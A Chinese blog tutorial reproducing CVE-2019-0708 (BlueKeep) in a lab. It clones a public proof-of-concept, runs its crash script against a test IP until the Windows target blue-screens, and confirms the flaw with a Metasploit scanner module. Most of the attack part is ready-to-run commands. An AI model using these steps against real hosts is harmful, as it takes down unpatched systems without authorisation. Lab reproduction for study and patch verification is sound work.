温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

CVE-2019-0708漏洞利用复现的示例分析

发布时间:2021-09-15 17:52:39 来源:亿速云 阅读:248 作者:小新 栏目:编程语言

这篇文章将为大家详细讲解有关CVE-2019-0708漏洞利用复现的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

0x00漏洞概述

Windows系列服务器于2019年5月15号,被爆出高危漏洞,该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的,堪比WannaCry(蠕虫病毒)。

0x01影响版本

Windows 7

Windows Server 2008 R2

Windows Server 2008

Windows Server 2003

Windows XP

0x02漏洞复现

为了顺利利用成功,靶机需要开启3389端口,防火墙也要关闭状态

1.poc下载:

CVE-2019-0708-POC GitHub:

git clone https://github.com/n1xbyte/cve-2019-0708
cd CVE-2019-0708

CVE-2019-0708漏洞利用复现的示例分析

CVE-2019-0708漏洞利用复现的示例分析

2.安装所需要的库(因为我的kali系统已经安装了这个库,这里就不截图展示)

pip3 install impacket

3.执行POC开始攻击

python3 crashpoc.py 192.168.88.150 64  
#ip地址 系统版本

CVE-2019-0708漏洞利用复现的示例分析

然后我们发现目标系统已蓝屏,说明我们攻击成功

CVE-2019-0708漏洞利用复现的示例分析

--------------------------------------------------华丽丽的分割线-----------------------------------------------

使用MSF复现漏洞

优先下载POC到根目录下

git clone https://github.com/n1xbyte/cve-2019-0708
cd cve-2019-0708

启动msf

service postgresql start
msfdb init
msfconsole

搜索CVE-2019-0708相关漏洞利用模块

search 0708

CVE-2019-0708漏洞利用复现的示例分析

我们先使用这个辅助模块0

use 0

然后我们设置一下RHOSTS

set rhosts 192.168.88.150

CVE-2019-0708漏洞利用复现的示例分析

然后我们run以下,开始检测

run

CVE-2019-0708漏洞利用复现的示例分析

结果显示这里存在这个漏洞

那么接下来我们就利用我们下载的POC进行攻击尝试

python3 crashpoc.py 192.168.88.150 64

CVE-2019-0708漏洞利用复现的示例分析

然后我们发现攻击成功,系统再一次蓝屏

CVE-2019-0708漏洞利用复现的示例分析

关于“CVE-2019-0708漏洞利用复现的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve
AI